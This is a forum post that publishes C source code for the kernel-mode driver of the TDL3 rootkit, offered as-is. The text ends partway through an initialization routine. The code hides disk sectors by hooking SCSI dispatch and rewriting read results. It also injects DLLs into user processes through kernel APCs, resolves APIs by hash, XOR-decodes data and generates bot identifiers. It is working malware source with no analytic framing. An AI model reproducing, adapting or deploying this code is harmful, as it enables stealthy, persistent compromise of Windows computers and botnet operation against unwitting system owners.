[SRC] TDL3 Rootkit Driver

Nytro · June 11, 2011

[sRC] TDL3 Rootkit Driver

#include "inc.h"


#pragma comment(linker,"/subsystem:native /entry:DriverEntry")


NT_BEGIN
EXTERN_C_START


DWORD GetDelta();
NTSTATUS Reinitialize(PDEVICE_OBJECT,BOOLEAN);
VOID GetEPNameOffset();


NTSTATUS TDLEntry(PDRIVER_OBJECT pdoDriver,PUNICODE_STRING pusRegistry)
{


 PTDL_START ptsStart;
 PIMAGE_NT_HEADERS pinhHeader;


 GET_TDL_ADDRESSES->pdoDeviceDisk=(PDEVICE_OBJECT)pusRegistry;
 pinhHeader=(PIMAGE_NT_HEADERS)RtlImageNtHeader(pdoDriver->DriverStart);
 ptsStart=(PTDL_START)RtlOffsetToPointer(pdoDriver->DriverStart,pinhHeader->OptionalHeader.AddressOfEntryPoint+TDL_START_SIZE-sizeof(TDL_START));
 GET_TDL_ADDRESSES->ullFSOffset=ptsStart->ullDriverCodeOffset;
 pinhHeader->OptionalHeader.AddressOfEntryPoint=(DWORD)(DWORD_PTR)ptsStart->pdiOEP;
 pinhHeader->OptionalHeader.CheckSum=ptsStart->dwCheckSum;
 pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size=ptsStart->dwSectionSecuritySize;
 pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress=ptsStart->dwSectionSecurityVirtualAddress;
 GetEPNameOffset();
 *GET_TDL_ADDRESSES->cBotID=0;
 if(!NT_SUCCESS(Reinitialize(0,FALSE)))
 {
 IoRegisterFsRegistrationChange(GET_TDL_ADDRESSES->pdoDriver,ADDRESS_DELTA(PDRIVER_FS_NOTIFICATION,Reinitialize));
 }
 return STATUS_SUCCESS;
}


VOID GetEPNameOffset()
{
 CHAR cSystem[]={'S','y','s','t','e','m',0};


 GET_TDL_ADDRESSES->dwEPNameOffset=0;
 while(memcmp(RtlOffsetToPointer(IoGetCurrentProcess(),GET_TDL_ADDRESSES->dwEPNameOffset),cSystem,sizeof(cSystem))!=0)
 {
 GET_TDL_ADDRESSES->dwEPNameOffset++;
 }
 return;
}


PVOID Unxor(PVOID pvData,DWORD dwSize,BYTE bKey)
{
 DWORD dwData;


 for(dwData=0;dwData<dwSize;dwData++)
 {
 ((PBYTE)pvData)[dwData]^=dwData+bKey;
 }
 return pvData;
};


NTSTATUS SCSICmd(PDEVICE_OBJECT pdoDevice,PDRIVER_DISPATCH pddDispatch,BYTE bOpCode,BYTE bDataIn,PVOID pvBuffer,DWORD dwBufferSize,DWORD dwAddress)
{
 SCSI_REQUEST_BLOCK srbBuffer;
 SENSE_DATA sdData;
 IO_STATUS_BLOCK iosbStatus;
 KEVENT keEvent;
 PIRP piIrp;
 PMDL pmMdl;
 PIO_STACK_LOCATION pislStack;


 memset(&srbBuffer,0,sizeof(srbBuffer));
 memset(&sdData,0,sizeof(sdData));
 srbBuffer.Length=sizeof(srbBuffer);
 srbBuffer.Function=SRB_FUNCTION_EXECUTE_SCSI;
 srbBuffer.QueueAction=SRB_FLAGS_DISABLE_AUTOSENSE;
 srbBuffer.CdbLength=CDB10GENERIC_LENGTH;
 srbBuffer.SenseInfoBufferLength=sizeof(sdData);
 srbBuffer.SenseInfoBuffer=&sdData;
 srbBuffer.DataTransferLength=dwBufferSize;
 srbBuffer.DataBuffer=pvBuffer;
 srbBuffer.TimeOutValue=5000;
 srbBuffer.QueueSortKey=dwAddress;
 srbBuffer.SrbFlags=bDataIn|SRB_FLAGS_DISABLE_AUTOSENSE;
 srbBuffer.Cdb[0]=bOpCode;
 srbBuffer.Cdb[2]=(BYTE)((dwAddress&0xff000000)>>24);Â 
 srbBuffer.Cdb[3]=(BYTE)((dwAddress&0xff0000)>>16);Â 
 srbBuffer.Cdb[4]=(BYTE)((dwAddress&0xff00)>>8);Â 
 srbBuffer.Cdb[5]=(BYTE)(dwAddress&0xff);
 if(dwAddress!=0)
 {
 DWORD dwSectors;


 dwSectors=dwBufferSize/0x200;
 srbBuffer.Cdb[7]=(BYTE)((dwSectors&0xff00)>>8);
 srbBuffer.Cdb[8]=(BYTE)(dwSectors&0xff);
 }
 KeInitializeEvent(&keEvent,NotificationEvent,FALSE);
 piIrp=IoAllocateIrp(pdoDevice->StackSize,FALSE);
 if(piIrp!=0)
 {
 pmMdl=IoAllocateMdl(pvBuffer,dwBufferSize,0,0,piIrp);
 srbBuffer.OriginalRequest=piIrp;
 piIrp->MdlAddress=pmMdl;
 MmProbeAndLockPages(pmMdl,KernelMode,IoModifyAccess);
 piIrp->UserIosb=&iosbStatus;
 piIrp->UserEvent=&keEvent;
 piIrp->Flags=IRP_SYNCHRONOUS_API|IRP_NOCACHE;
 piIrp->Tail.Overlay.Thread=KeGetCurrentThread();
 pislStack=IoGetNextIrpStackLocation(piIrp);
 pislStack->DeviceObject=pdoDevice;
 pislStack->MajorFunction=IRP_MJ_SCSI;
 pislStack->Parameters.Scsi.Srb=&srbBuffer;
 piIrp->CurrentLocation--;
 pislStack=IoGetNextIrpStackLocation(piIrp);
 piIrp->Tail.Overlay.CurrentStackLocation=pislStack;
 pislStack->DeviceObject=pdoDevice;
 if(pddDispatch(pdoDevice,piIrp)==STATUS_PENDING)
 {
 KeWaitForSingleObject(&keEvent,Executive,KernelMode,FALSE,0);
 }
 return iosbStatus.Status;
 }
 return STATUS_INSUFFICIENT_RESOURCES;
}


extern "C"
{
 #include "gz.cpp"
 #include "md4.cpp"
 #include "socket.cpp"
 #include "tdlini.cpp"
 #include "tdlfs.cpp"


}


NTSTATUS MJCompletion(PDEVICE_OBJECT pdoDevice,PIRP piIrp,PVOID pvContext)
{
 NTSTATUS ntsStatus;


 if(NT_SUCCESS(piIrp->IoStatus.Status))
 {
 PVOID pvBuffer;
 PIO_STACK_LOCATION pislStack;
 DWORD dwSector;


 pislStack=IoGetCurrentIrpStackLocation(piIrp);
 pvBuffer=MmGetSystemAddressForMdlSafe(piIrp->MdlAddress,NormalPagePriority);
 if(((PDISK_COMPLETION)pvContext)->dwSectorOffset+(DWORD)piIrp->IoStatus.Information/GET_TDL_ADDRESSES->dwSectorSize>GET_TDL_ADDRESSES->dwFirstHiddenSector)
 {
 DWORD dwOffset;


 if(((PDISK_COMPLETION)pvContext)->dwSectorOffset<GET_TDL_ADDRESSES->dwFirstHiddenSector)
 {
 dwOffset=(GET_TDL_ADDRESSES->dwFirstHiddenSector-((PDISK_COMPLETION)pvContext)->dwSectorOffset)*GET_TDL_ADDRESSES->dwSectorSize;
 }
 else
 {
 dwOffset=0;
 }
 memset(RtlOffsetToPointer(pvBuffer,dwOffset),0,(DWORD)piIrp->IoStatus.Information-dwOffset);
 }
 else
 {
 for(dwSector=0;dwSector<GET_TDL_ADDRESSES->dwHiddenSectors;dwSector++)
 {
 if((GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset!=0)
 &&ADDRESS_IN(GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset,((PDISK_COMPLETION)pvContext)->dwSectorOffset,piIrp->IoStatus.Information/GET_TDL_ADDRESSES->dwSectorSize))
 {
 memcpy(RtlOffsetToPointer(pvBuffer,GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset+(GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset-((PDISK_COMPLETION)pvContext)->dwSectorOffset)*GET_TDL_ADDRESSES->dwSectorSize),GET_TDL_ADDRESSES->thsSectors[dwSector].pvValue,GET_TDL_ADDRESSES->thsSectors[dwSector].dwSize);
 }
 }
 }
 }
 if(((PDISK_COMPLETION)pvContext)->picrCompletion!=0)
 {
 ntsStatus=((PDISK_COMPLETION)pvContext)->picrCompletion(pdoDevice,piIrp,((PDISK_COMPLETION)pvContext)->pvContext);
 }
 ExFreePool(pvContext);
 return ntsStatus;
}


NTSTATUS MJDispatch(PDEVICE_OBJECT pdoDevice,PIRP piIrp)
{
 PIO_STACK_LOCATION pislStack;
 PDISK_COMPLETION pdcCompletion=0;
 DWORD dwSector;


 pislStack=IoGetCurrentIrpStackLocation(piIrp);
 if((pdoDevice==GET_TDL_ADDRESSES->pdoFSDevice)
 &&(pislStack->FileObject!=0)
 &&(pislStack->FileObject->FileName.Length>sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)+2*sizeof(L'\\')-sizeof(WCHAR))
 &&(memcmp(RtlOffsetToPointer(pislStack->FileObject->FileName.Buffer,sizeof(L'\\')),GET_TDL_ADDRESSES->wcTDLDirectory,sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)-sizeof(WCHAR))==0))
 {
 piIrp->IoStatus.Status=STATUS_NOT_IMPLEMENTED;
 piIrp->IoStatus.Information=0;
 TDLFSDispatch(pdoDevice,piIrp);
 IoCompleteRequest(piIrp,IO_NO_INCREMENT);
 return piIrp->IoStatus.Status;
 }
 if((pdoDevice==GET_TDL_ADDRESSES->pdoDeviceDisk)
 &&(!((pislStack->FileObject!=0)
 &&(pislStack->FileObject->FileName.Length==sizeof(L'\\')+sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)-sizeof(WCHAR))
 &&(memcmp(RtlOffsetToPointer(pislStack->FileObject->FileName.Buffer,sizeof(L'\\')),GET_TDL_ADDRESSES->wcTDLDirectory,sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)-sizeof(WCHAR))==0)))
 &&(pislStack->MajorFunction==IRP_MJ_SCSI)
 &&(pislStack->Parameters.Scsi.Srb->Function==SRB_FUNCTION_EXECUTE_SCSI))
 {
 BOOL bComplete=FALSE;
 BOOL bEnd=FALSE;


 if(pislStack->Parameters.Scsi.Srb->QueueSortKey+pislStack->Parameters.Scsi.Srb->DataTransferLength/GET_TDL_ADDRESSES->dwSectorSize>GET_TDL_ADDRESSES->dwFirstHiddenSector)
 {
 bEnd=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_OUT)!=0;
 bComplete=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_IN)!=0;
 }
 else
 {
 for(dwSector=0;dwSector<GET_TDL_ADDRESSES->dwHiddenSectors;dwSector++)
 {
 if((GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset!=0)
 &&ADDRESS_IN(GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset,pislStack->Parameters.Scsi.Srb->QueueSortKey,pislStack->Parameters.Scsi.Srb->DataTransferLength/GET_TDL_ADDRESSES->dwSectorSize))
 {
 bEnd=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_OUT)!=0;
 bComplete=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_IN)!=0;
 }
 }
 }
 if(bEnd)
 {
 pislStack->Parameters.Scsi.Srb->SrbStatus=SRB_STATUS_SUCCESS;
 pislStack->Parameters.Scsi.Srb->InternalStatus=SRB_STATUS_SUCCESS;
 piIrp->IoStatus.Status=STATUS_SUCCESS;
 IoCompleteRequest(piIrp,IO_NO_INCREMENT);
 return STATUS_SUCCESS;
 }
 if(bComplete)
 {
 pdcCompletion=(PDISK_COMPLETION)ExAllocatePool(NonPagedPool,sizeof(DISK_COMPLETION));
 if(pdcCompletion!=0)
 {
 pdcCompletion->picrCompletion=pislStack->CompletionRoutine;
 pdcCompletion->pvContext=pislStack->Context;
 pdcCompletion->dwSectorOffset=pislStack->Parameters.Scsi.Srb->QueueSortKey;
 pislStack->Control=SL_INVOKE_ON_SUCCESS|SL_INVOKE_ON_ERROR|SL_INVOKE_ON_CANCEL;
 pislStack->Context=pdcCompletion;
 pislStack->CompletionRoutine=ADDRESS_DELTA(PIO_COMPLETION_ROUTINE,MJCompletion);
 }
 }
 }
 return GET_TDL_ADDRESSES->pddDiskMJ[pislStack->MajorFunction](pdoDevice,piIrp);
}


NTSTATUS GenerateBotID(PCHAR pcBotID,DWORD dwBotIDSize)
{
 CHAR cBotIDFormat[]={'%','x','%','x',0};
 WCHAR wcVolumeObject[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',0};
 UUID uuidBotID;
 UNICODE_STRING usName;
 HANDLE hVolume;
 FILE_FS_VOLUME_INFORMATION ffviInfo;
 IO_STATUS_BLOCK iosbStatus;
 OBJECT_ATTRIBUTES oaAttributes;


 RtlInitUnicodeString(&usName,wcVolumeObject);
 InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
 ffviInfo.VolumeSerialNumber=0;
 if(NT_SUCCESS(ZwOpenFile(&hVolume,SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,FILE_SYNCHRONOUS_IO_NONALERT)))
 {
 ZwQueryVolumeInformationFile(hVolume,&iosbStatus,&ffviInfo,sizeof(ffviInfo),FileFsVolumeInformation);
 ZwClose(hVolume);
 }
 if(ExUuidCreate(&uuidBotID)==0)
 {
 _snprintf(pcBotID,dwBotIDSize,cBotIDFormat,*(PDWORD)RtlOffsetToPointer(uuidBotID.Data4,4),ffviInfo.VolumeSerialNumber);
 return STATUS_SUCCESS;
 } 
 return STATUS_RETRY;
}


__declspec(naked) DWORD GetDelta()
{
 __asm
 {
 call delta
 delta:
 pop eax
 sub eax,offset delta
 retn
 }
}


__declspec(noinline) PVOID GetNtoskrnlBase()
{
 BYTE bIDT[6];
 PIDT_ENTRY pieIDTEntry;
 PWORD pwAddress;


 __asm
 {
 sidt bIDT;
 }
 pieIDTEntry=(PIDT_ENTRY)(*((PDWORD_PTR)&bIDT[2])+8*0x40);
 pwAddress=PWORD(pieIDTEntry->dw64OffsetLow|(pieIDTEntry->dw64OffsetHigh<<16));
 do
 {
 pwAddress=(PWORD)ALIGNDOWN(pwAddress,PAGE_SIZE);
 if(*pwAddress=='ZM')
 {
 return (PVOID)pwAddress;
 }
 pwAddress--;
 }
 while(pwAddress!=0);
 return 0;
}


VOID __stdcall APCKernelRoutine(PKAPC pkaApc,PKNORMAL_ROUTINE*,PVOID*,PVOID* ppvMemory,PVOID*)
{
 ExFreePool(pkaApc);
 return;
}


NTSTATUS DllInject(HANDLE hProcessID,PEPROCESS pepProcess,PKTHREAD pktThread,PCHAR pcDll,BOOLEAN bAlert)
{
 HANDLE hProcess;
 OBJECT_ATTRIBUTES oaAttributes={sizeof(OBJECT_ATTRIBUTES)};
 CLIENT_ID cidProcess;
 PVOID pvMemory=0;
 DWORD dwSize;
 CHAR cDllReal[MAX_PATH];
 CHAR cDllRealFormat[]={'\\','\\','?','\\','g','l','o','b','a','l','r','o','o','t','%','S','\\','%','S','\\','%','s',0};
 PCHAR pcDllReal;


 if(*pcDll!='\\')
 {
 dwSize=_snprintf(cDllReal,RTL_NUMBER_OF(cDllReal)-1,cDllRealFormat,GET_TDL_ADDRESSES->wcFSDevice,GET_TDL_ADDRESSES->wcTDLDirectory,pcDll)+1;
 pcDllReal=cDllReal;
 }
 else
 {
 pcDllReal=pcDll;
 dwSize=strlen(pcDll)+1;
 }
 cidProcess.UniqueProcess=hProcessID;
 cidProcess.UniqueThread=0;
 if(NT_SUCCESS(ZwOpenProcess(&hProcess,PROCESS_ALL_ACCESS,&oaAttributes,&cidProcess)))
 {
 if(NT_SUCCESS(ZwAllocateVirtualMemory(hProcess,&pvMemory,0,&dwSize,MEM_RESERVE|MEM_COMMIT,PAGE_READWRITE)))
 {
 KAPC_STATE kasState;
 PKAPC pkaApc;


 KeStackAttachProcess(pepProcess,&kasState);
 strcpy(pvMemory,pcDllReal);
 KeUnstackDetachProcess(&kasState);
 pkaApc=(PKAPC)ExAllocatePool(NonPagedPool,sizeof(KAPC));
 if(pkaApc!=0)
 {
 KeInitializeApc(pkaApc,pktThread,0,ADDRESS_DELTA(PKKERNEL_ROUTINE,APCKernelRoutine),0,GET_TDL_ADDRESSES->pvLoadLibraryExA,UserMode,pvMemory);
 KeInsertQueueApc(pkaApc,0,0,IO_NO_INCREMENT);
 return STATUS_SUCCESS;
 }
 }
 ZwClose(hProcess);
 }
 return STATUS_NO_MEMORY;
}


VOID WIInjector(PVOID pvContext)
{
 CHAR cAny[]=TDL_CONFIG_INJECTOR_ANY;
 CHAR cSection[]=TDL_CONFIG_INJECTOR;
 CHAR cDll[MAX_PATH];



 CHAR cSection2[]=TDL_CONFIG_MAIN;
 CHAR cKey[]={'d','a','t','e',0};




 DWORD dwDate=TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection2,cKey,0);
 DWORD dwCurrent;

 LARGE_INTEGER liTime;
 KeQuerySystemTime(&liTime);
 RtlTimeToSecondsSince1970(&liTime,&dwCurrent);


 //CHAR cDebug[]={'D','A','T','E','%','d',' ','%','d',' ','%','d',' ','%','d','\n',0};
 //DbgPrint(cDebug,dwDate,dwCurrent,dwCurrent-dwDate,0);




 //if(dwCurrent-dwDate>=60*24*60)
 {
// DbgPrint(cDebug,dwDate,dwCurrent,dwCurrent-dwDate,1);
 if(TDLIniReadString(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cAny,0,cDll,sizeof(cDll)))
 {
 DllInject(((PWI_INJECT)pvContext)->hProcessID,((PWI_INJECT)pvContext)->pepProcess,((PWI_INJECT)pvContext)->pktThread,cDll,FALSE);
 }
 if(TDLIniReadString(GET_TDL_ADDRESSES->wcTDLConfig,cSection,RtlOffsetToPointer(((PWI_INJECT)pvContext)->pepProcess,GET_TDL_ADDRESSES->dwEPNameOffset),0,cDll,sizeof(cDll)))
 {
 DllInject(((PWI_INJECT)pvContext)->hProcessID,((PWI_INJECT)pvContext)->pepProcess,((PWI_INJECT)pvContext)->pktThread,cDll,FALSE);
 }
 }


 KeSetEvent(&((PWI_INJECT)pvContext)->keEvent,(KPRIORITY)0,FALSE);
 return;
}


VOID __stdcall APCInjectRoutine(PKAPC pkaApc,PKNORMAL_ROUTINE*,PVOID*,PVOID*,PVOID*)
{
 WI_INJECT wiiItem;


 ExFreePool(pkaApc);
 wiiItem.pktThread=KeGetCurrentThread();
 wiiItem.pepProcess=IoGetCurrentProcess();
 wiiItem.hProcessID=PsGetCurrentProcessId();
 KeInitializeEvent(&wiiItem.keEvent,NotificationEvent,FALSE);
 ExInitializeWorkItem(&wiiItem.qiItem,ADDRESS_DELTA(PWORKER_THREAD_ROUTINE,WIInjector),&wiiItem);
 ExQueueWorkItem(&wiiItem.qiItem,DelayedWorkQueue);
 KeWaitForSingleObject(&wiiItem.keEvent,Executive,KernelMode,TRUE,0);
 return;
}


VOID LoadImageNotify(PUNICODE_STRING FullImageName,HANDLE hProcessID,PIMAGE_INFO ImageInfo)
{
 if(FullImageName!=0)
 {
 WCHAR wcKernel32Mask[]={L'*',L'\\',L'K',L'E',L'R',L'N',L'E',L'L',L'3',L'2',L'.',L'D',L'L',L'L',0};
 UNICODE_STRING usKernel32Mask;


 RtlInitUnicodeString(&usKernel32Mask,wcKernel32Mask);
 if(FsRtlIsNameInExpression(&usKernel32Mask,FullImageName,TRUE,0))
 {
 PKAPC pkaApc;


 if(GET_TDL_ADDRESSES->pvLoadLibraryExA==0)
 {
 GET_TDL_ADDRESSES->pvLoadLibraryExA=GetProcedureAddressByHash(ImageInfo->ImageBase,TDL_HASH_LOADLIBRARYEXA);
 }
 pkaApc=(PKAPC)ExAllocatePool(NonPagedPool,sizeof(KAPC));
 if(pkaApc!=0)
 {
 KeInitializeApc(pkaApc,KeGetCurrentThread(),0,ADDRESS_DELTA(PKKERNEL_ROUTINE,APCInjectRoutine),0,0,KernelMode,0);
 KeInsertQueueApc(pkaApc,0,0,IO_NO_INCREMENT);
 }
 }
 }
 return;
}


VOID WIKnock(PVOID pvWIKnock)
{
 KEVENT keEvent;


 ExFreePool(pvWIKnock);


 /*
 CHAR cSection2[]=TDL_CONFIG_MAIN;
 CHAR cKey[]={'r','e','b','o','o','t','s',0};
 CHAR cDebug[]={'U','P','D','%','s',' ','%','d','\n',0};
 DWORD dwRand=(DWORD)rand()%100;
 DbgPrint(cDebug,cKey,dwRand);
 TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection2,cKey,dwRand);
 */

 KeInitializeEvent(&keEvent,NotificationEvent,FALSE);
 while(TRUE)
 {

 LARGE_INTEGER liDelay;




 if((*GET_TDL_ADDRESSES->cBotID==0)
 &&NT_SUCCESS(GenerateBotID(GET_TDL_ADDRESSES->cBotID,RTL_NUMBER_OF(GET_TDL_ADDRESSES->cBotID))))
 {
 OBJECT_ATTRIBUTES oaAttributes;
 WCHAR wcBotID[0x10+sizeof(L'\\')+1];
 WCHAR wcBotIDFormat[]={L'\\',L'%',L'S',0};
 UNICODE_STRING usName;
 HANDLE hEvent;


 _snwprintf(wcBotID,RTL_NUMBER_OF(wcBotID),wcBotIDFormat,GET_TDL_ADDRESSES->cBotID);
 RtlInitUnicodeString(&usName,wcBotID);
 InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
 ZwCreateEvent(&hEvent,EVENT_ALL_ACCESS,&oaAttributes,NotificationEvent,TRUE);
 return;
 }
 liDelay.QuadPart=(LONGLONG)-10*10000000;


 //liDelay.QuadPart=(LONGLONG)-1*10000000;
 KeWaitForSingleObject(&keEvent,Executive,KernelMode,FALSE,&liDelay);
 }
 return;
}
/*


void WITimer(PVOID pvWITimer)
{
 CHAR cSection2[]=TDL_CONFIG_MAIN;
 CHAR cKey[]={'r','e','b','o','o','t','s',0};
 CHAR cDebug[]={'U','P','D','%','s',' ','%','d','\n',0};
 KEVENT keEvent;


 ExFreePool(pvWITimer);
 KeInitializeEvent(&keEvent,NotificationEvent,FALSE);


 while(TRUE)
 {
 DWORD dwRand=(DWORD)rand()%100;
 LARGE_INTEGER liDelay;

 DbgPrint(cDebug,cKey,dwRand);
 //TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection2,cKey,dwRand);


 liDelay.QuadPart=(LONGLONG)-5*10000000;
 KeWaitForSingleObject(&keEvent,Executive,KernelMode,FALSE,&liDelay);
 }

}
*/


PIMAGE_SECTION_HEADER RvaToSectionHeader(PIMAGE_NT_HEADERS pinhHeader,DWORD dwRva)
{
 PIMAGE_SECTION_HEADER pishHeader;
 DWORD dwSection;


 pishHeader=IMAGE_FIRST_SECTION(pinhHeader);
 for(dwSection=0;dwSection<pinhHeader->FileHeader.NumberOfSections;dwSection++)
 {
 if((dwRva>=pishHeader->VirtualAddress)
 &&(dwRva<(pishHeader->VirtualAddress+pishHeader->Misc.VirtualSize)))
 {
 return pishHeader;
 }
 pishHeader++;
 }
 return 0;
}


DWORD RvaToFileOffset(PIMAGE_NT_HEADERS pinhHeader,DWORD dwRva)
{
 PIMAGE_SECTION_HEADER pishHeader;


 pishHeader=RvaToSectionHeader(pinhHeader,dwRva);
 if(pishHeader!=0)
 {
 return (DWORD)ALIGNDOWN(pishHeader->PointerToRawData,pinhHeader->OptionalHeader.FileAlignment)+(dwRva-pishHeader->VirtualAddress);
 }
 return 0;
}


DWORD PEChecksum(PVOID pvData,DWORD dwSize,WORD wChecksum)
{
 DWORD dwBytes=dwSize;


 while(dwBytes>0)
 {
 if(HIWORD((DWORD)wChecksum+(DWORD)*(PWORD)pvData)!=0)
 {
 wChecksum++;
 }
 wChecksum+=*(PWORD)pvData;
 dwBytes-=sizeof(WORD);
 pvData=MAKE_PTR(pvData,sizeof(WORD),PVOID);
 }
 return wChecksum+dwSize;
}


__declspec(noinline) DWORD HashString(PCHAR pcString)
{
 DWORD dwResult=0;


 while(*pcString!=0)
 {
 dwResult=(0x1003f*dwResult)+(DWORD)(*((PWORD)pcString++));
 }
 return dwResult;
}


__declspec(noinline) PVOID GetProcedureAddressByHash(PVOID pvBase,DWORD dwHash)
{
 PIMAGE_NT_HEADERS pinhHeader;
 PIMAGE_EXPORT_DIRECTORY piedExport;
 PDWORD pdwNames;
 PDWORD pdwProcedures;
 PWORD pdwOrdinals;
 DWORD i;


 pinhHeader=(PIMAGE_NT_HEADERS)((DWORD_PTR)(((PIMAGE_DOS_HEADER)pvBase)->e_lfanew)+(DWORD_PTR)pvBase);
 piedExport=(PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)(pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)+(DWORD_PTR)pvBase);
 pdwNames=MAKE_PTR(pvBase,piedExport->AddressOfNames,PDWORD);
 pdwProcedures=MAKE_PTR(pvBase,piedExport->AddressOfFunctions,PDWORD);
 pdwOrdinals=MAKE_PTR(pvBase,piedExport->AddressOfNameOrdinals,PWORD);
 for(i=0;i<piedExport->NumberOfNames;i++)
 {
 if(HashString(MAKE_PTR(pvBase,pdwNames[i],PCHAR))==dwHash)
 {
 return MAKE_PTR(pvBase,pdwProcedures[pdwOrdinals[i]],PVOID);
 }
 }
 return 0;
}


NTSTATUS MJStub(PDEVICE_OBJECT pdoDevice,PIRP piIrp)
{
 return GET_TDL_ADDRESSES->pddMJ(pdoDevice,piIrp);
}


NTSTATUS TDLInit(HANDLE hDriver)
{
 BYTE bDeviceName[MAX_PATH];
 DWORD dwSeed;
 DWORD dwCh;
 DWORD dwSize;


 GET_TDL_ADDRESSES->dwHiddenSectors=0;
 dwSeed=((PKUSER_SHARED_DATA)(DWORD_PTR)KI_USER_SHARED_DATA)->SystemTime.LowPart;
 for(dwCh=0;dwCh<RTL_NUMBER_OF(GET_TDL_ADDRESSES->wcTDLDirectory)-1;dwCh++)
 {
 GET_TDL_ADDRESSES->wcTDLDirectory[dwCh]=(WCHAR)('a'+(CHAR)(RtlRandom(&dwSeed)%('z'-'a')));
 }
 GET_TDL_ADDRESSES->wcTDLDirectory[dwCh]=0;
 GET_TDL_ADDRESSES->pdoFSDevice=GET_TDL_ADDRESSES->pdoDriver->DeviceObject;
 while(GET_TDL_ADDRESSES->pdoFSDevice->DeviceType!=FILE_DEVICE_CONTROLLER)
 {
 GET_TDL_ADDRESSES->pdoFSDevice=GET_TDL_ADDRESSES->pdoFSDevice->NextDevice;
 }
 if(NT_SUCCESS(ObQueryNameString(GET_TDL_ADDRESSES->pdoFSDevice,bDeviceName,sizeof(bDeviceName),&dwSize)))
 {
 WCHAR wcFormatFSPath[]={L'%',L'w',L'Z',L'\\',L'%',L's',0};
 PIMAGE_NT_HEADERS pinhHeader;
 PIMAGE_NT_HEADERS pinhHeaderCache;
 PIMAGE_SECTION_HEADER pishHeader;
 PVOID pvMJStub;
 DWORD dwOldCR0;
 STARTING_VCN_INPUT_BUFFER svibBuffer={};
 RETRIEVAL_POINTERS_BUFFER rpbBuffer;
 WCHAR wcPartition[]={L'\\',L'?',L'?',L'\\',L'c',L':',0};
 UNICODE_STRING usName;
 HANDLE hPartition;
 DWORD dwClasterSize;
 OBJECT_ATTRIBUTES oaAttributes;
 IO_STATUS_BLOCK iosbStatus;
 FILE_FS_FULL_SIZE_INFORMATION fffsiInfo;
 PARTITION_INFORMATION piInfo;
 DWORD dwFirstSector=0;
 BOOT_SECTOR bsSector;
 MARK_HANDLE_INFO mhiInfo;
 DWORD dwRsrcOffset;
 PVOID pvRsrcOriginalOffset;
 DWORD dwRsrcSize;
 DWORD dwSector;
 HANDLE hSection;
 PVOID pvFile=0;
 PWORK_QUEUE_ITEM pwqiThread;


 _snwprintf(GET_TDL_ADDRESSES->wcFSDevice,RTL_NUMBER_OF(GET_TDL_ADDRESSES->wcFSDevice)-1,
 wcFormatFSPath,&((POBJECT_NAME_INFORMATION)bDeviceName)->Name,GET_TDL_ADDRESSES->wcTDLDirectory);
 wcPartition[4]=*((PKUSER_SHARED_DATA)(DWORD_PTR)KI_USER_SHARED_DATA)->NtSystemRoot;
 RtlInitUnicodeString(&usName,wcPartition);
 InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
 if(NT_SUCCESS(ZwOpenFile(&hPartition,FILE_READ_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_SYNCHRONOUS_IO_NONALERT)))
 {
 WCHAR wcIniFormat[]=TDL_CONFIG_FILE_FORMAT;


 mhiInfo.VolumeHandle=hPartition;
 mhiInfo.HandleInfo=MARK_HANDLE_PROTECT_CLUSTERS;
 mhiInfo.UsnSourceInfo=USN_SOURCE_DATA_MANAGEMENT;
 ZwFsControlFile(hDriver,0,0,0,&iosbStatus,FSCTL_MARK_HANDLE,&mhiInfo,sizeof(mhiInfo),0,0);
 ZwQueryVolumeInformationFile(hPartition,&iosbStatus,&fffsiInfo,sizeof(fffsiInfo),FileFsFullSizeInformation);
 ZwDeviceIoControlFile(hPartition,0,0,0,&iosbStatus,IOCTL_DISK_GET_PARTITION_INFO,0,0,&piInfo,sizeof(piInfo));
 GET_TDL_ADDRESSES->dwSectorSize=fffsiInfo.BytesPerSector;
 dwClasterSize=fffsiInfo.SectorsPerAllocationUnit*fffsiInfo.BytesPerSector;
 if(NT_SUCCESS(ZwReadFile(hPartition,0,0,0,&iosbStatus,&bsSector,sizeof(bsSector),0,0)))
 {
 dwFirstSector=bsSector.wReservedSectors+(bsSector.bNumberOfFats*bsSector.dwBigSectorsPerFat)+((bsSector.wRootEntries*32)+(bsSector.wBytesPerSector-1))/bsSector.wBytesPerSector;
 }
 ZwClose(hPartition);
 GET_TDL_ADDRESSES->dwFSLastClaster=1;
 GET_TDL_ADDRESSES->dwDriverCodeSector=(DWORD)_alldiv(GET_TDL_ADDRESSES->ullFSOffset,(ULONGLONG)GET_TDL_ADDRESSES->dwSectorSize);
